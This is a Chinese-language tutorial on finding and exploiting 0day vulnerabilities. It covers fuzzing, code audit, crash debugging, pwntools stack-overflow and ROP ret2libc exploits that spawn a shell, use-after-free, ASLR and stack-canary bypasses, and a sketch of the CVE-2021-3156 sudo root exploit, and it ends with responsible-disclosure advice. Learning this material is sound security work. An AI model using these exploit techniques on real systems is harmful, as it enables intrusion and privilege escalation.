📘 什么是 0day 漏洞?
0day(Zero-Day)漏洞是指在软件厂商发布补丁之前就被发现和利用的安全漏洞。由于厂商对漏洞的修复时间为"零天",因此得名 0day。这类漏洞通常具有极高的价值,在黑市上可以卖到数万甚至数百万美元。
🎯 0day 漏洞分类
- 内存破坏漏洞:缓冲区溢出、Use-After-Free、Double Free
- 逻辑漏洞:权限绕过、认证缺陷、业务逻辑错误
- Web 漏洞:SQL 注入、RCE、反序列化
- 内核漏洞:权限提升、沙箱逃逸
🎯 阶段1:目标选择
如何选择挖掘目标?
目标选择原则
# 1. 攻击面评估
- 用户量大的软件(Chrome、Office、Adobe)
- 网络服务(Web 服务器、数据库、中间件)
- 特权软件(驱动程序、内核组件)
# 2. 历史漏洞分析
- 查看 CVE 数据库,分析该软件的历史漏洞模式
- 关注最近修复的漏洞,寻找类似问题
- 研究补丁 Diff,发现修复不完整的漏洞
# 3. 漏洞价值评估
- 可利用性:能否稳定触发?
- 影响范围:影响多少用户?
- 危害程度:能否 RCE 或提权?
案例:选择浏览器作为目标
浏览器是 0day 漏洞挖掘的热门目标,原因如下:
- 攻击面广:解析 HTML/CSS/JavaScript、渲染引擎、JIT 编译器
- 用户量大:Chrome、Firefox、Safari 等占据市场主导
- 高价值:浏览器沙箱逃逸漏洞在 Pwn2Own 上价值 $100,000+
🔍 阶段2:漏洞发现 - Fuzzing 模糊测试
什么是 Fuzzing?
Fuzzing 是一种自动化测试技术,通过向程序输入大量随机或变异的数据,监控程序是否崩溃,从而发现潜在漏洞。
AFL (American Fuzzy Lop) 使用
AFL Fuzzing 示例
# 1. 安装 AFL++
git clone https://github.com/AFLplusplus/AFLplusplus
cd AFLplusplus
make
sudo make install
# 2. 编译目标程序(插桩)
export CC=afl-clang-fast
export CXX=afl-clang-fast++
./configure --disable-shared
make
# 3. 准备测试用例
mkdir input output
echo "test" > input/seed.txt
# 4. 启动 Fuzzing
afl-fuzz -i input -o output -m none -- ./target_program @@
# 5. 查看崩溃
ls output/crashes/
LibFuzzer 覆盖率引导测试
// fuzz_target.cpp
#include
#include
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
// 目标函数
if (Size >= 4 && Data[0] == 'F' && Data[1] == 'U' && Data[2] == 'Z' && Data[3] == 'Z') {
// 触发漏洞
char *p = nullptr;
*p = 'A'; // 空指针解引用
}
return 0;
}
// 编译
// clang++ -g -fsanitize=fuzzer,address fuzz_target.cpp -o fuzz_target
// ./fuzz_target
📖 代码审计
静态代码审计技巧
使用 Semgrep 静态分析
# 安装 Semgrep
pip3 install semgrep
# 扫描常见漏洞模式
semgrep --config=auto /path/to/source
# 自定义规则检测 SQL 注入
semgrep -e 'query = "SELECT * FROM users WHERE id=" + $VAR' --lang=python .
人工审计关键函数
// 危险函数列表
strcpy() // 无边界检查,可能缓冲区溢出
strcat() // 同上
sprintf() // 同上
gets() // 永远不要使用
memcpy() // 需要确保长度正确
// 示例:缓冲区溢出漏洞
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // ❌ 危险!如果 input 超过 64 字节会溢出
}
// 修复方案
void safe_function(char *input) {
char buffer[64];
strncpy(buffer, input, sizeof(buffer) - 1); // ✅ 安全
buffer[sizeof(buffer) - 1] = '\0';
}
🔬 阶段3:漏洞分析
动态调试分析崩溃
使用 GDB + PEDA 分析
# 1. 安装 PEDA
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
# 2. 运行崩溃的程序
gdb ./vulnerable_program
(gdb) run crash_input.txt
# 3. 查看崩溃信息
(gdb) info registers
(gdb) x/20wx $rsp # 查看栈内容
(gdb) backtrace # 查看调用栈
# 4. 分析崩溃原因
(gdb) disassemble # 查看汇编代码
(gdb) pattern create 200 # 生成模式字符串
(gdb) pattern offset $rip # 定位溢出偏移
WinDbg 分析 Windows 程序崩溃
# 打开崩溃转储文件
windbg -z crash.dmp
# 查看异常信息
!analyze -v
# 查看调用栈
k
# 查看堆栈内容
dps esp L20
# 查看模块信息
lm
💣 阶段4:Exploit 开发
栈溢出 Exploit 开发
经典栈溢出利用
#!/usr/bin/env python3
from pwn import *
# 目标程序
p = process('./vulnerable_program')
# 1. 计算溢出偏移(假设为 72)
offset = 72
# 2. 构造 Payload
payload = b'A' * offset # 填充缓冲区
payload += p64(0x401234) # 覆盖返回地址为目标函数地址
# 3. 发送 Payload
p.sendline(payload)
# 4. 获取 Shell
p.interactive()
ROP (Return-Oriented Programming) 攻击
在 DEP/NX 保护下,无法直接执行栈上的 Shellcode,需要使用 ROP 技术。
#!/usr/bin/env python3
from pwn import *
# 加载 ELF 文件
elf = ELF('./vulnerable_program')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
# 查找 Gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# 泄露 Libc 基址
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main']) # 返回 main 继续利用
p.sendline(payload)
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
# 计算 system() 和 /bin/sh 地址
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 构造最终 Payload
payload2 = b'A' * offset
payload2 += p64(ret) # Stack alignment
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()
堆漏洞利用 - Use-After-Free
// UAF 漏洞示例
#include
#include
typedef struct {
void (*func_ptr)();
char data[16];
} Object;
void win() {
system("/bin/sh");
}
int main() {
Object *obj1 = malloc(sizeof(Object));
obj1->func_ptr = (void(*)())0x12345678;
strcpy(obj1->data, "Hello");
free(obj1); // 释放对象
// UAF:再次使用已释放的内存
Object *obj2 = malloc(sizeof(Object)); // 可能复用 obj1 的内存
obj2->func_ptr = win; // 覆盖函数指针
obj1->func_ptr(); // ❌ 调用已释放对象的函数指针 → RCE
return 0;
}
🛡️ 绕过保护机制
常见保护机制
🔒 现代保护机制
- DEP/NX:数据执行保护,栈不可执行 → 使用 ROP 绕过
- ASLR:地址随机化 → 泄露基址或使用堆风水
- Stack Canary:栈保护 → 泄露 Canary 值或覆盖 TLS
- PIE:位置无关代码 → 泄露代码段基址
- CFI:控制流完整性 → 寻找合法的控制流转换
绕过 ASLR
# 方法1: 泄露地址
# 利用格式化字符串漏洞泄露栈地址
payload = b'%p ' * 20
p.sendline(payload)
leak = p.recvline()
stack_addr = int(leak.split()[5], 16)
# 方法2: 爆破 (32位系统)
# ASLR 在 32 位系统熵较低,可以爆破
for i in range(1000):
try:
p = process('./target')
exploit(p)
p.interactive()
except:
p.close()
绕过 Stack Canary
# 方法1: 泄露 Canary
# 使用格式化字符串泄露
payload = b'%7$p' # 泄露第7个参数(Canary 位置)
p.sendline(payload)
canary = int(p.recvline().strip(), 16)
# 方法2: 覆盖 TLS 中的 Canary
# 如果可以写 TLS,修改 Canary 副本
# 方法3: fork() 服务器
# Canary 在 fork() 后不变,可以逐字节爆破
🌍 真实案例:CVE-2021-3156 (Sudo 堆溢出)
漏洞分析
// 漏洞代码片段 (sudo/plugins/sudoers/sudoers.c)
static int
set_cmnd(void)
{
char *user_args = user_cmnd;
if (user_args[0] == '\\') {
user_args++; // ❌ 跳过反斜杠
// 但如果用户输入 "sudoedit -s '\' " 会导致堆溢出
}
// ... 后续操作
}
# Exploit (简化版本)
# 利用 "sudoedit -s '\' `perl -e 'print "A"x65536'`"
# 触发堆溢出,覆盖关键数据结构,最终获得 root 权限
./exploit.sh
# uid=0(root) gid=0(root) groups=0(root)
📢 负责任的漏洞披露
⚠️ 漏洞披露流程
- 1. 私下通知厂商:通过官方安全邮箱(如 [email protected])报告
- 2. 给予修复时间:通常 90 天,严重漏洞可协商延长
- 3. 协调披露:与厂商协商公开日期,同步发布补丁和披露
- 4. 申请 CVE:向 MITRE 申请 CVE 编号
- 5. 公开细节:在厂商发布补丁后,公开技术细节
💰 漏洞奖励计划
- Google VRP:Chrome RCE $30,000+,沙箱逃逸 $130,000+
- Microsoft MSRC:Windows RCE $100,000+
- Apple Security Bounty:iOS 内核代码执行 $1,000,000
- HackerOne / Bugcrowd:众包漏洞赏金平台
🛠️ 漏洞挖掘工具清单
🔍 Fuzzing 工具
- AFL / AFL++
- LibFuzzer
- Honggfuzz
- Boofuzz
- Peach Fuzzer
🐛 调试工具
- GDB + PEDA/GEF
- WinDbg / x64dbg
- LLDB
- OllyDbg
- Immunity Debugger
🔬 逆向工具
- IDA Pro
- Ghidra (NSA)
- Binary Ninja
- Radare2 / Cutter
- Hopper Disassembler
💣 Exploit 框架
- Pwntools
- Metasploit Framework
- ROPgadget / Ropper
- One_gadget
- Unicorn Engine
📚 总结
0day 漏洞挖掘是一项需要深厚技术积累的工作,涉及逆向工程、二进制分析、Exploit 开发等多个领域。从目标选择、漏洞发现、分析到 Exploit 开发,每个阶段都需要扎实的基础和大量实践。
在挖掘漏洞时,务必遵守负责任的披露原则,通过官方渠道报告漏洞,给予厂商足够的修复时间。同时,积极参与漏洞赏金计划,既能获得经济回报,也能为互联网安全做出贡献。
🖼️ 漏洞挖掘实战场景